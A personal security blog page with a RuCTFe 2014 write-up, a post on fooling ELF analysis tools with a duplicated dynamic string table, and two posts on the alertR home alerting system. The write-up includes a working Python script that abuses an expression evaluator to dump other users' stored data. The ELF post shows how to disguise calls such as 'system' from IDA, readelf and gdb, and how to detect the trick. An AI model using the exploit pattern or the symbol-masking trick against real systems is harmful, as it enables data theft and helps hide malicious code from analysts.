Skip to content

RuCTFe 2014: heart write up

So here is my write-up for the heart challenge of the RuCTFe 2014. The heart service was written in Mono and provided a webinterface on which you can register yourself, set heart data points, set alerts for these data points and get all your data points.

The gaming server regularly registered a new user, sets a data point (the flag) and an alert for this data point. After that it logs in again with this registered user and reads all his data points. The service stores these data points and users in a "Redis Client Manager" database which is (when I understood it correctly) in memory.

Ok, I used Simple Assembly Explorer on Windows with ILSpy to look at the code. Fortunatly, it was not obfuscated or anything like it. So we can just decompile it. The main function looked like this:



// heart.Program
private static void Main(string[] args)
{
   XmlConfigurator.Configure();
   try
   {
       Program.DB = new DbProvider((args.Length > 0) ? args[0] : "127.0.0.1:6379");
       StaticHandler staticHandler = new StaticHandler(Program.GetPrefix(null), Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "static"));
       staticHandler.Start();
       AddPointHandler addPointHandler = new AddPointHandler(Program.GetPrefix("add"));
       addPointHandler.Start();
       GetPointsHandler getPointsHandler = new GetPointsHandler(Program.GetPrefix("series"));
       getPointsHandler.Start();
       RegisterHandler registerHandler = new RegisterHandler(Program.GetPrefix("signup"));
       registerHandler.Start();
       LoginHandler loginHandler = new LoginHandler(Program.GetPrefix("signin"));
       loginHandler.Start();
       SetExpressionHandler setExpressionHandler = new SetExpressionHandler(Program.GetPrefix("setexpr"));
       setExpressionHandler.Start();
       GetAlertsHandler getAlertsHandler = new GetAlertsHandler(Program.GetPrefix("alerts"));
       getAlertsHandler.Start();
       Thread.Sleep(-1);
   }
   catch (Exception message)
   {
       Program.log.Fatal(message);
   }
}
 



You can see that there were 7 handlers that were registered. To skip to the interesting part, we take a look at the "setexpr" and "alerts" handler. The "setexpr" handler looked like this:



using heart.utils;
using System;
using System.Collections.Generic;
using System.Net;
namespace heart.handlers
{
   internal class SetExpressionHandler : AuthBaseHandler
   {
       public SetExpressionHandler(string prefix) : base(prefix)
       {
       }
       protected override void ProcessAuthorizedRequest(HttpListenerContext context, string login)
       {
           context.Request.AssertMethod("POST");
           System.Collections.Generic.Dictionary<string, string> postData = context.Request.GetPostData();
           string text;
           postData.TryGetValue("expr", out text);
           if (!string.IsNullOrEmpty(text))
           {
               if (text.Length > 512)
               {
                   throw new HttpException(HttpStatusCode.BadRequest, "Expression too large");
               }
               System.DateTime utcNow = System.DateTime.UtcNow;
               ExpressionHelper.CalcExpression(text, Program.DB.TakeSafe(login, utcNow.AddMinutes(-60.0), utcNow));
           }
           string text2;
           postData.TryGetValue("parts", out text2);
           if (text2 != null && text2.Length > 512)
           {
               throw new HttpException(HttpStatusCode.BadRequest, "Expression too large");
           }
           Program.DB.SetExpression(login, text, text2);
           context.Response.SetCookie("expr", text2, false);
           BaseHandler.WriteString(context, "OK");
       }
   }
}
 



So we have 2 POST values "expr" and "parts" from which only the "expr" is interesting. I searched in the complete code to see what "parts" does. And it does nothing but getting stored in a user variable. The "expr" is used with "CalcExpression()" which we keep in mind for the "alerts" handler. When this is done, it is set in the database via "SetExpression()". "SetExpression()" looks like this:



// heart.db.DbProvider
public void SetExpression(string login, string expression, string readable)
{
   using (IRedisClient client = this.manager.GetClient())
   {
       User user = Data<User>.ParseJson(client.GetValueFromHash("u", login));
       user.Expression = expression;
       user.Readable = readable;
       client.SetEntryInHash("u", login, user.CacheItem(login, 60).ToJsonString());
   }
}
 



It stores the "parts" POST value into the "user.Readable" variable and the "expr" POST value into the "user.Expression". The last one is the interesting part. So now let us look into the "alerts" handler:



using heart.db;
using heart.utils;
using System;
using System.Net;
using System.Runtime.Serialization;
namespace heart.handlers
{
   internal class GetAlertsHandler : AuthBaseHandler
   {
       [DataContract]
       internal class Alert : Data<GetAlertsHandler.Alert>
       {
            [DataMember(Name = "msg", Order = 1, EmitDefaultValue = false)]
           public string Message;
            [DataMember(Name = "dt", Order = 2, EmitDefaultValue = false)]
           private long date;
           [IgnoreDataMember]
           public System.DateTime Date
           {
                get
               {
                   return DateTimeUtils.ParseUnixTime(this.date);
               }
                set
               {
                   this.date = value.ToUnixTime();
               }
           }
       }
       public GetAlertsHandler(string prefix) : base(prefix)
       {
       }
       protected override void ProcessAuthorizedRequest(HttpListenerContext context, string login)
       {
           System.DateTime utcNow = System.DateTime.UtcNow;
           User user = Program.DB.FindUser(login);
           if (user == null)
           {
               throw new HttpException(HttpStatusCode.InternalServerError, "Can't find user");
           }
           if (string.IsNullOrEmpty(user.Expression))
           {
               BaseHandler.WriteData(context, null);
               return;
           }
           Stat stat = Program.DB.TakeSafe(login, utcNow.AddMinutes(-60.0), utcNow);
           string text = ExpressionHelper.CalcExpression(user.Expression, stat);
           BaseHandler.WriteData(context, (text != null) ? new GetAlertsHandler.Alert
           {
               Message = text,
               Date = System.DateTime.UtcNow
           }.ToJson() : null);
       }
   }
}
 



The "ProcessAuthorizedRequest()" is the interesting function. It uses the "user.Expression" (which we can set with the "setexpr" handler) and calculates something from it with "CalcExpression()". Also the "stat" variable is used which is taken from the database. Now let us look into the "CalcExpression()" method:



// heart.handlers.ExpressionHelper
public static string CalcExpression(string expression, Stat stat)
{
   ExpressionContext expressionContext = new ExpressionContext();
   expressionContext.Imports.AddType(typeof(Math));
   expressionContext.Imports.AddType(typeof(StatMethods));
   expressionContext.Variables.Add("stat", stat);
   expressionContext.Options.ParseCulture = CultureInfo.InvariantCulture;
   string result;
   try
   {
       IGenericExpression<string> genericExpression = expressionContext.CompileGeneric<string>(expression);
       result = genericExpression.Evaluate();
   }
   catch (Exception ex2)
   {
       ExpressionCompileException ex = ex2 as ExpressionCompileException;
       throw new HttpException(HttpStatusCode.InternalServerError, (ex != null) ? ex.Message : "Failed to build expression");
   }
   return result;
}
 



It sets up an expression context with some functions and the variable stat and does an "evaluate()" on it. This comes from the "Ciloci.Flee" project which I assumed as "not vulnerable" in this challenge and ignored it. But the interesting part is that the expression you can set can have methods that are given to the expression context. For example the gaming server used "Median()" which is given by the "StatMethods". So I tried some stuff with the "stat" variable like "toString()" and it got evaluated. So let us take a look at the "stat" variable class:



using heart.utils;
using System;
using System.Runtime.Serialization;
namespace heart.db
{
   [DataContract]
   public class Stat : Data<Stat>
   {
        [DataMember(Name = "points", Order = 1, EmitDefaultValue = false)]
       public DatePoint[] Points;
   }
}
 



The Stat class has an array of "Points" which stores the data inserted by the user. Unfortunately for us, when we play with the "setexpr" and "alerts" we can just reach our own submitted points (and not the one of the gaming server because we do not know his user credentials). But this was to obvious to not be the vulnerable part of the challenge and I knew that somehow I have to break out of this context.

Because of my own stupidity, it took me around 3h to find the bug. I thought that the class "Data" from which the class "Stat" was implemented was a .net system class. I was searching for it and did not find it on msdn and so on. Eventually, when MSLC was exploiting the service and I saw there exploit in the traffic I found the "Data" class. I was angry about my stupidity in how to operate Simple Assembly Explorer because it cost us 3h of valuable exploiting time. From thereon it was not difficult at all to exploit the service. The "Data" class has the methods "DumpCacheItems()" and "ToJsonString()". With it we could get access to the cached items that were inserted into the heart service. After that, we could iterate through the items and get it as a json string. The exploit looked like this:


#!/usr/bin/python

import requests
import re
import sys
import os
import json

session = requests.Session()


ip = sys.argv[1]
ip = ip[:-1] + "6"


login = "foooo1234"
password = "foooo1234"
data = {'login': login, 'pass': password, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
r1 = session.post("http://" + ip + "/signup/", data=data)


# check user already exists
if login in r1.text:
        data = {'login': login, 'pass': password, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
        r1 = session.post("http://" + ip + "/signin/", data=data)

        # check if login was successfull
        if not "OK" in r1.text:
                raise ValueError("Login failed with:\n %s" % r1.text)

# login
elif "OK" in r1.text:
        pass

else:
        raise ValueError("Create login failed with:\n %s" % r1.text)

expr = 'stat.DumpCacheItems().Length.toString()'
data = {'expr': expr, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
r2 = session.post("http://" + ip + "/setexpr/", data=data)


# get count of objects
r3 = session.get("http://" + ip + "/alerts/")




try:
        temp = json.loads(r3.text)
        count = int(temp["msg"])
except:
        raise ValueError("Can not get count")

for i in range(count):


        expr = 'stat.DumpCacheItems()[%d].ToJsonString()' % i
        data = {'expr': expr, 'User-Agent' : 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:25.0) Gecko/20100101 Firefox/25.0'}
        r4 = session.post("http://" + ip + "/setexpr/", data=data)


        # get flag
        r5 = session.get("http://" + ip + "/alerts/")

        r = re.search("\w{31}=", r5.text)
        if r:
                print r.group(0)
 

alertR: dbus and xbmc notification client

Foreword and interesting links

alertR is a project of mine which I started in August 2014. It is an unified alerting system which is based on a client/server model. The main part is written in Python and is published as Free-Software. If you do not know this project yet, here are some interesting links:

* Github repository
* Github wiki for documentations
* Blog article: Introducing alertR: Open-Source alerting system (with video)
* Blog article: alertR: rule engine (with video)


Introduction and motivation

Since I published this project, a lot has changed and a lot was added. Two things I added since the last post I wanted to introduce here. First of all, the dbus notification client. alertR was used during the hack.lu 2014 CTF (Capture-The-Flag) to monitor all services that we had provided. Since a push notification would be a great asset in maintaining the CTF, I wrote a client that sends notifications on the screen via dbus. It went so great, that if a service went down we noticed it shortly after. The feedback that was given to us after the CTF was astonishing. One point of the feedback was that it was hardly noticed when a service went down because it was up again almost immediately. I can not claim that all the work in monitoring was done by alertR (for example because some authors did not write a watchdog script for it), but it did it part in it.

The second thing is the xbmc notification client. Regularly I did not hear my door bell at home when I was in the living room watching a movie or hearing music via xbmc. So I thought to myself: "I want alertR to monitor the door bell". Most solutions I found were something like replacing the door bell by a Raspberry Pi. But I did not like this solution. First, the door bell does not work if the network or Raspberry Pi is down. Second, I do not own this apartment so I do not want to make major changes in it (because I will not live in here forever). So I made a circuit (with some help of a friend of mine and Google searching) that watches the door bell by connecting it to connect to the Raspberry Pi (this is the reason why I added the ability of monitoring GPIOs via interrupt to alertR). Now if someone rings the door bell, the video/music on my xbmc is paused and a notification is displayed. With this, I do not overhear the door bell :-)


Example

Before I tell you, how I did the circuit for the door bell I want to present the notification clients to you via a short video. Please have the subtitles activated to get a description of what I am doing and what is happening.




How does it work?

The problem on how to connect your door bell to the Raspberry Pi is that the door bell works usually with AC. In our case (and the usual case from what I can tell from Google searching) the door bell is powered by 8 VAC. The AC first have to be converted to DC before we can use it. The following schematic show you how I did it:



This circuit was copied from (german link) and slightly modified. The four diodes are used to convert the AC to DC. Because the Raspberry Pi GPIO is operating on 3,3 V DC, a photo-coupler is used to disconnect both circuits from each other. The GPIO of the Raspberry Pi is configured on interrupt and therefore every change on the GPIO will be noticed.

One problem arrives with this circuit which I first realized when I had it already finished. It is very sensitive. When I plugged in a vacuum cleaner, the interrupt was triggered. As a software bypass, I added a counter which counts the number of interrupts that occur in a short time frame. Because of the bouncing when you use the door bell normally, I get more interrupts (usually over 6) than from a vacuum cleaner (usually under 4). Therefore, I fixed this with a little workaround on the software side. Since then, I never had no false positive notification triggered again.


Final words

I finished the circuits and needed software a long time ago but did not find the time nor the motivation to make the video, create the circuit image and write this article. If you are interested in this project, you should watch the github repository. There I regularly add new features and fix found bugs.

ELF obfuscation: let analysis tools show wrong external symbol calls

Introduction

Now where the hack.lu 2014 CTF is over, I can finally publish a small ELF analysis tool fuck up, I found some months ago. I used this ELF analysis tools fuck up in a challenge of the CTF ("the union") because I did not find anything about it on the internet (you can almost say it was a kind of "0 day" to obfuscate stuff in analysis tools).

So a short back story how I came to it. I gave a little talk about ELF basics and some obfuscation with the help of ELF sections at a colloquium. I discussed some ELF stuff with guys there and an idea was raised: "What would happen, if you put two dynamic string tables in there. One manipulated in the section table and the original in the dynamic segment?". And this is what this post is all about.


The analysis tools fuck up

The biggest fuck up that (most) analysis tools are doing is that they are using the section header table of the ELF file to get information about the binary. The problem with this is that the sections are completely optional and not needed to execute the file. You can completely delete them and still execute the binary without any problem. Why does this work? Because the loader uses the segments, which are mandatory in the ELF specification. But still, the sections (normally) contain more detailed information about the binary and therefore all analysis tools like IDA, gdb, ... use them. IDA (the latest version is 6.6 in the time of writing this) for example has an option to use the "program header table" (which actually means, it just uses the segments) to analyze the binary. But unfortunately, IDA still uses the information of the sections (if they are available). In this post I showed how to restore external symbol calls in IDA 6.1 with ida python and a python library called ZwoELF when no sections are available (the current versions do it themselves, I think by using a similar way). ZwoELF was written with the idea to use the same information a loader has to start the binary and therefore has the correct information about the binary.

So the question you should ask yourself is: "Why shouldn't we manipulate the section header table to show false information about the binary?". But before we come to this and how you can do this, we should know what the dynamic string table is.

The dynamic string table (section) holds all the strings that are needed for dynamic linking. This means that all names of the symbols that are used to call functions from other libraries (for example malloc(), printf(), ...) are in there.


Examples

So let us start with an example before I describe how it exactly works. As an example I use the hack.lu 2014 CTF challenge "the union". It is a normal x86 ELF binary with nothing special. You can download the manipulated version here and the plain version without any section modification here. If you want to solve this challenge yourself you should not read ahead. There are spoilers ahead. If you want to see how it was solved, you can see write-ups here.

The following symbol strings were modified in the binary:


printf -> fputs
strncmp -> strcmp
system -> printf
 


First we take a look at IDA 6.6. Here is the graph view of the trapdoor function of the unmodified binary:



As you can see, in the first basic block we can see a call to "printf" and on the left basic block we see a call to "system". Now we take a look at the modified version (I even used the option to use the "program header table" to load the binary):



We can see, that the call to "printf" in the first basic block is shown as a call to "fputs". The call to "system" in the second basic block as a call to "printf". As we can see, IDA (as other analysis tools too) is fooled by a manipulated section header table. It is even cooler when someone uses the decompiler of IDA:



In this case, the arguments are chosen to make sense when you look at the assembly. But if some push instruction for arguments do not make any sense (because the called function do not have so many arguments), it will not be displayed ;-)

So let us take a look at readelf. Readelf is a good starting point to get information about the binary. But it also uses the section header table (when you do not specify it otherwise). So when you use it without any special parameter you get this:


sqall@towel:~/Desktop/hacklu$ readelf -a theunion
[...]
Relocation section '.rel.plt' at offset 0x4a0 contains 17 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804b00c  00000107 R_386_JUMP_SLOT   00000000   fputs
0804b010  00000207 R_386_JUMP_SLOT   00000000   fflush
0804b014  00000307 R_386_JUMP_SLOT   00000000   free
0804b018  00000407 R_386_JUMP_SLOT   00000000   sleep
0804b01c  00000507 R_386_JUMP_SLOT   00000000   __stack_chk_fail
0804b020  00000607 R_386_JUMP_SLOT   00000000   strcat
0804b024  00000707 R_386_JUMP_SLOT   00000000   malloc
0804b028  00000807 R_386_JUMP_SLOT   00000000   puts
0804b02c  00000907 R_386_JUMP_SLOT   00000000   printf
0804b030  00000a07 R_386_JUMP_SLOT   00000000   __gmon_start__
0804b034  00000b07 R_386_JUMP_SLOT   00000000   exit
0804b038  00000c07 R_386_JUMP_SLOT   00000000   strlen
0804b03c  00000d07 R_386_JUMP_SLOT   00000000   __libc_start_main
0804b040  00000e07 R_386_JUMP_SLOT   00000000   fopen
0804b044  00000f07 R_386_JUMP_SLOT   00000000   fgetc
0804b048  00001007 R_386_JUMP_SLOT   00000000   __isoc99_scanf
0804b04c  00001107 R_386_JUMP_SLOT   00000000   strcmp
[...]
 


In my post about "restoring external symbols with ida python" I also mentioned readelf. I got some answers that it can also use the dynamic segment to read the information (the dynamic segment is mandatory for dynamically linked ELF binaries). So let us use this parameter also in this case:


sqall@towel:~/Desktop/hacklu$ readelf -a -D theunion
[...]
'PLT' relocation section at offset 0x80484a0 contains 136 bytes:
 Offset     Info    Type            Sym.Value  Sym. Name
0804b00c  00000107 R_386_JUMP_SLOT   00000000   fputs
0804b010  00000207 R_386_JUMP_SLOT   00000000   fflush
0804b014  00000307 R_386_JUMP_SLOT   00000000   free
0804b018  00000407 R_386_JUMP_SLOT   00000000   sleep
0804b01c  00000507 R_386_JUMP_SLOT   00000000   __stack_chk_fail
0804b020  00000607 R_386_JUMP_SLOT   00000000   strcat
0804b024  00000707 R_386_JUMP_SLOT   00000000   malloc
0804b028  00000807 R_386_JUMP_SLOT   00000000   puts
0804b02c  00000907 R_386_JUMP_SLOT   00000000   printf
0804b030  00000a07 R_386_JUMP_SLOT   00000000   __gmon_start__
0804b034  00000b07 R_386_JUMP_SLOT   00000000   exit
0804b038  00000c07 R_386_JUMP_SLOT   00000000   strlen
0804b03c  00000d07 R_386_JUMP_SLOT   00000000   __libc_start_main
0804b040  00000e07 R_386_JUMP_SLOT   00000000   fopen
0804b044  00000f07 R_386_JUMP_SLOT   00000000   fgetc
0804b048  00001007 R_386_JUMP_SLOT   00000000   __isoc99_scanf
0804b04c  00001107 R_386_JUMP_SLOT   00000000   strcmp
[...]
 


You see that there is still no "strncmp" or "system". In fact, it is the same list as without the "-D" or "--use-dynamic" option. Somehow readelf still uses the section header table to receive the information. To see that you can retrieve the correct information, let us use the "readElf.py" script of the ZwoELF python library examples:


sqall@towel:~/Desktop/hacklu$ python /home/sqall/Desktop/elf_test/git/ZwoELF/examples/readElf.py ./theunion
[...]
Jump relocation entries (17 entries)
No.     MemAddr         File offset     Info            Type            Sym. value      Sym. name
        (r_offset)                      (r_info)        (r_type)
0       0x0804b00c      0x0000300c      0x00000107      R_386_JMP_SLOT  0x00000000      printf
1       0x0804b010      0x00003010      0x00000207      R_386_JMP_SLOT  0x00000000      fflush
2       0x0804b014      0x00003014      0x00000307      R_386_JMP_SLOT  0x00000000      free
3       0x0804b018      0x00003018      0x00000407      R_386_JMP_SLOT  0x00000000      sleep
4       0x0804b01c      0x0000301c      0x00000507      R_386_JMP_SLOT  0x00000000      __stack_chk_fail
5       0x0804b020      0x00003020      0x00000607      R_386_JMP_SLOT  0x00000000      strcat
6       0x0804b024      0x00003024      0x00000707      R_386_JMP_SLOT  0x00000000      malloc
7       0x0804b028      0x00003028      0x00000807      R_386_JMP_SLOT  0x00000000      puts
8       0x0804b02c      0x0000302c      0x00000907      R_386_JMP_SLOT  0x00000000      system
9       0x0804b030      0x00003030      0x00000a07      R_386_JMP_SLOT  0x00000000      __gmon_start__
10      0x0804b034      0x00003034      0x00000b07      R_386_JMP_SLOT  0x00000000      exit
11      0x0804b038      0x00003038      0x00000c07      R_386_JMP_SLOT  0x00000000      strlen
12      0x0804b03c      0x0000303c      0x00000d07      R_386_JMP_SLOT  0x00000000      __libc_start_main
13      0x0804b040      0x00003040      0x00000e07      R_386_JMP_SLOT  0x00000000      fopen
14      0x0804b044      0x00003044      0x00000f07      R_386_JMP_SLOT  0x00000000      fgetc
15      0x0804b048      0x00003048      0x00001007      R_386_JMP_SLOT  0x00000000      __isoc99_scanf
16      0x0804b04c      0x0000304c      0x00001107      R_386_JMP_SLOT  0x00000000      strncmp
[...]
 


As you can see, "strncmp" and "system" are displayed. Because the ordering of the output is the same, you can also see that "fputs" is actually "printf".

Finally, let us take a look at gdb. Gdb has the same problems like IDA and readelf. It uses the manipulated sections to get additional information about the binary. When we take a look at the "trapdoor" function in this binary:


sqall@towel:~/Desktop/hacklu$ gdb ./theunion
[...]
gdb-peda$ x/20i 0x8049208
   0x8049208:   push   ebp
   0x8049209:    mov    ebp,esp
   0x804920b:   sub    esp,0x18
   0x804920e:   mov    DWORD PTR [esp],0x8049b08
   0x8049215:   call   0x80485d0 <puts@plt>
   0x804921a:   mov    eax,ds:0x804b080
   0x804921f:   mov    DWORD PTR [esp+0x4],eax
   0x8049223:   mov    DWORD PTR [esp],0x8049b28
   0x804922a:   call   0x8048560 <fputs@plt>
   0x804922f:   cmp    DWORD PTR [ebp+0x8],0x0
   0x8049233:   je     0x8049243
   0x8049235:   mov    DWORD PTR [esp],0x8049b68
   0x804923c:   call   0x80485e0 <printf@plt>
   0x8049241:   jmp    0x804924f
   0x8049243:   mov    DWORD PTR [esp],0x8049b88
   0x804924a:   call   0x80485d0 <puts@plt>
   0x804924f:   mov    eax,ds:0x804b080
   0x8049254:   mov    DWORD PTR [esp],eax
   0x8049257:   call   0x8048570 <fflush@plt>
   0x804925c:   leave
 


We can see the valid looking call to "fputs" at 0x804922a and "printf" at 0x804923c. So let us take a look at the unmodified version of the binary:


sqall@towel:~/Desktop/hacklu$ gdb ./theunion_unmodified
[...]
gdb-peda$ x/20i 0x8049208
   0x8049208 <trapDoor>:        push   ebp
   0x8049209 <trapDoor+1>:      mov    ebp,esp
   0x804920b <trapDoor+3>:      sub    esp,0x18
   0x804920e <trapDoor+6>:      mov    DWORD PTR [esp],0x8049b08
   0x8049215 <trapDoor+13>:     call   0x80485d0 <puts@plt>
   0x804921a <trapDoor+18>:     mov    eax,ds:0x804b080
   0x804921f <trapDoor+23>:     mov    DWORD PTR [esp+0x4],eax
   0x8049223 <trapDoor+27>:     mov    DWORD PTR [esp],0x8049b28
   0x804922a <trapDoor+34>:     call   0x8048560 <printf@plt>
   0x804922f <trapDoor+39>:     cmp    DWORD PTR [ebp+0x8],0x0
   0x8049233 <trapDoor+43>:     je     0x8049243 <trapDoor+59>
   0x8049235 <trapDoor+45>:     mov    DWORD PTR [esp],0x8049b68
   0x804923c <trapDoor+52>:     call   0x80485e0 <system@plt>
   0x8049241 <trapDoor+57>:     jmp    0x804924f <trapDoor+71>
   0x8049243 <trapDoor+59>:     mov    DWORD PTR [esp],0x8049b88
   0x804924a <trapDoor+66>:     call   0x80485d0 <puts@plt>
   0x804924f <trapDoor+71>:     mov    eax,ds:0x804b080
   0x8049254 <trapDoor+76>:     mov    DWORD PTR [esp],eax
   0x8049257 <trapDoor+79>:     call   0x8048570 <fflush@plt>
   0x804925c <trapDoor+84>:     leave
 


I also left the symbols in the unmodified version intact. We see that the call at 0x804922a is now to "printf" instead of "fputs" and the call at 0x804923c is now to "system". But what happens if you "step in" these functions? Let us try with the call at 0x804922a.


sqall@towel:~/Desktop/hacklu$ gdb ./theunion
[...]
gdb-peda$ b *0x804922a
Breakpoint 1 at 0x804922a
gdb-peda$ r
[...]
   0x804921a:   mov    eax,ds:0x804b080
   0x804921f:   mov    DWORD PTR [esp+0x4],eax
   0x8049223:   mov    DWORD PTR [esp],0x8049b28
=> 0x804922a:   call   0x8048560 <fputs@plt>
   0x804922f:   cmp    DWORD PTR [ebp+0x8],0x0
   0x8049233:   je     0x8049243
   0x8049235:   mov    DWORD PTR [esp],0x8049b68
   0x804923c:   call   0x80485e0 <printf@plt>
gdb-peda$ b printf
Breakpoint 2 at 0xf7e541f0
gdb-peda$ b fputs
Breakpoint 3 at 0xf7e6b930
gdb-peda$ c
[...]
=> 0xf7e541f0 <printf>: push   ebx
   0xf7e541f1 <printf+1>:       sub    esp,0x18
   0xf7e541f4 <printf+4>:       call   0xf7f2e22b
   0xf7e541f9 <printf+9>:       add    ebx,0x15ee07
   0xf7e541ff <printf+15>:      lea    eax,[esp+0x24]
 


We can see, we do not call "fputs", we end up in "printf". But how does this actually work?


The duplicated dynamic string table

It works quite simple. When you take a look at the section header table of the unmodifed binary:

sqall@towel:~/Desktop/hacklu$ readelf -S theunion_unmodified
There are 30 section headers, starting at offset 0x218c:


Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 00002c 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481d8 0001d8 000150 10   A  6   1  4
  [ 6] .dynstr           STRTAB          08048328 000328 0000e3 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804840c 00040c 00002a 02   A  5   0  2
[..]
 


You see the ".dynstr" section. In this section, there lies the dynamic string table. This table contains just C strings that are lined up. The dynamic symbols have a field called "st_name". This field has a value that gives the offset inside this string table. So when you want to get the name of this symbol, you go to the start of the dynamic string table and add the "st_name" value to the offset/address. Then you get the C string of the symbol. But the loader does not determine the offset/address of the dynamic string table (or .dynstr section) through the section table. It gets the address through the dynamic segment. Let us take a look at the dynamic segment of the modified binary:


sqall@towel:~/Desktop/hacklu$ readelf -d theunion

Dynamic section at offset 0x2f14 contains 24 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x8048528
 0x0000000d (FINI)                       0x80497a4
 0x00000019 (INIT_ARRAY)                 0x804af08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x804af0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x8048328
 0x00000006 (SYMTAB)                     0x80481d8
 [...]
 


You can see that the "STRTAB" entry has the same address like the ".dynstr" entry in the section header table of the unmodified binary. This value is needed by the loader to execute the binary correctly. So when we take a look at the section header of the modified binary:

sqall@towel:~/Desktop/hacklu$ readelf -S theunion
There are 28 section headers, starting at offset 0x317c:


Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 00002c 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481d8 0001d8 000150 10   A  6   1  4
  [ 6] .dynstr           STRTAB          08048328 0020fd 0000e3 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804840c 00040c 00002a 02   A  5   0  2
[...]
 


We see that the address is completely the same, but the offset of the ".dynstr" section is modified. This is the whole trick. We copied the dynamic string table to the end of the binary (or somewhere in between, as we like) and overwrote the offset of the ".dynstr" entry in the section header table with the offset of our new dynamic string table. In this string table we can now modify the names of the symbols and the analysis tools will use these strings to receive additional information of the symbol.

This technique has a limitation though. As I explained above, the "st_name" field of a dynamic symbol contains the offset to the C string. We can not modify this offset value. The string has to be exactly at the same offset and must end with a null byte. This means we can only replace a symbol name with a name with a smaller or exactly the same length. A larger name would interfere with the next symbol name. Also we have a problem when we have two or more symbols with a similar name. For example when we want to manipulate the name of "printf" and we also have the "sprintf" symbol used in the binary. To optimize the used string table, the compiler uses the same string for the "printf" and "sprintf" symbol. It just uses the value of the "st_name" field to get the correct string back. When we now change "printf" to "flux", we also changed the name of "sprintf" to "sflux". So keep this in mind if you use this trick.


What can we do against it?

Well, to spot it you just have to check if the ".dynstr" section and "STRTAB" entry in the dynamic segment have the same address. But the address is not enough, you have to calculate the offset from the "STRTAB" address and compare it to the ".dynstr" offset. If these offsets are the same, you are good to go. Nevertheless, it is a nice trick to throw analysts off (without any performance what so ever impact) and fool analysis tools. One can argue that it is too easy to spot and every trained analyst can find it in no time. But on the hack.lu 2014 CTF it was hard enough so that only 10 teams solved the challenge. Automated approaches like "renaming functions after their functionality (here under windows)" would definitly be fooled as long as they use everything from the section table (which analysis tools usually do).

For IDA, the script to restore the external symbol calls which I linked above can also be used to get the symbol names automatically. At the moment I am trying to restore the complete section table from the information I can gather in the binary. The idea behind it is that you can not correct all analysis tools, so why not correct the section table for all these analysis tools. But it is just a project I do in my free time (with a lot of other projects). So do not expect any results too soon.

I added a script that can do this manipulation to the ZwoELF examples. So if you want to test it yourself, feel free to use it.

Introducing alertR: Open-Source alerting system

Foreword and interesting links

alertR is a project of mine which I started in August 2014. It is an unified alerting system which is based on a client/server model. The main part is written in Python and is published as Free-Software. If you do not know this project yet, here are some interesting links:

* Github repository
* Github wiki for documentations
* Blog article: alertR: dbus and xbmc notification client (with video)
* Blog article: alertR: rule engine (with video)


Introduction and motivation

Today something about "physical security". After some friends told me that someone broke into their home, I thought it would be nice to have an alarm system at home. Later when developing it, it become clear that it can not only be used for this purpose. It can be used for any kind of sensor you can think of (in a physical way for a PIR (Passive InfraRed) sensor, a magnetic switch on a window, a water leak alarm sensor, a smoke detector and so on) and is not limited to physical sensors (scripts that watch services of a host and so on). So it developed itself from an alarm system to an unified alerting system. For example it is planed to be used at the hack.lu 2014 CTF (Capture-The-Flag) competition to monitor the offered services.

I created a github repository for it which contains all the code I have written so far.


How does it work?

The first thing was to search for Open-Source solutions that offer the same. But the only solutions I found were limited to just one device. For example one solution for the Raspberry Pi only works locally with components that are directly connected to the Raspberry Pi itself. I wanted a client/server based structure which can be easily extended by just adding a new client to it. I did not found anything like it, so I had to write it myself.

The clients and server communicate via a SSL encrypted connection. The clients have to log in at the server and register themselves. The server contains all the logic and processes the information the clients send to it. The clients are merely there to send information to the server or to react to a message from the server.

I looked into some commercial home alarm systems. All of them (at least the ones I looked into) had the same problem: they are limited to a count of x sensors to handle. alertR is logically not limited to a maximum count of sensors it can handle. Of course, it will be eventually reach a limit of resources at some point or the maximum value the database can store as an ID ;-). At the moment my instance handles 6 clients with 16 sensors and is not even close at being at its full capacity.


Example

As an example I use my own instance. I used Raspberry Pis to connect switches and sensors to alertR. At the moment 3 Raspberry Pis are watching all my windows (if they are opened or not), the entrance door (if it is opened or not), smoke detectors, a water leak alarm and if my servers are pingable. When an alert is triggered, 2 sirens start yelling in my apartment and I got an eMail send to me.

To show you that it works, I made a short demonstration video. The text is hard to read on the display, but the colors are the important thing. Red/green for the alert system means it is deactivated/activated. Green for a sensor means it is in a normal state, yellow for a sensor means it is triggered. Please activate the subtitles in the video to understand what is going on there.



For the windows and door, the sensors are self made. First let me tell you that I have absolutely no clue about all these electronics stuff. I always ask a friend of mine when I have an idea that I want to build and need electronics for it. He then tells me how the circuit have to look like and when it is easy enough, I build it. And in this case it is really easy. For the sensors I used magnetic switches (link in German) with a simple pull-up circuit. Here is a simple schematic of the circuit:



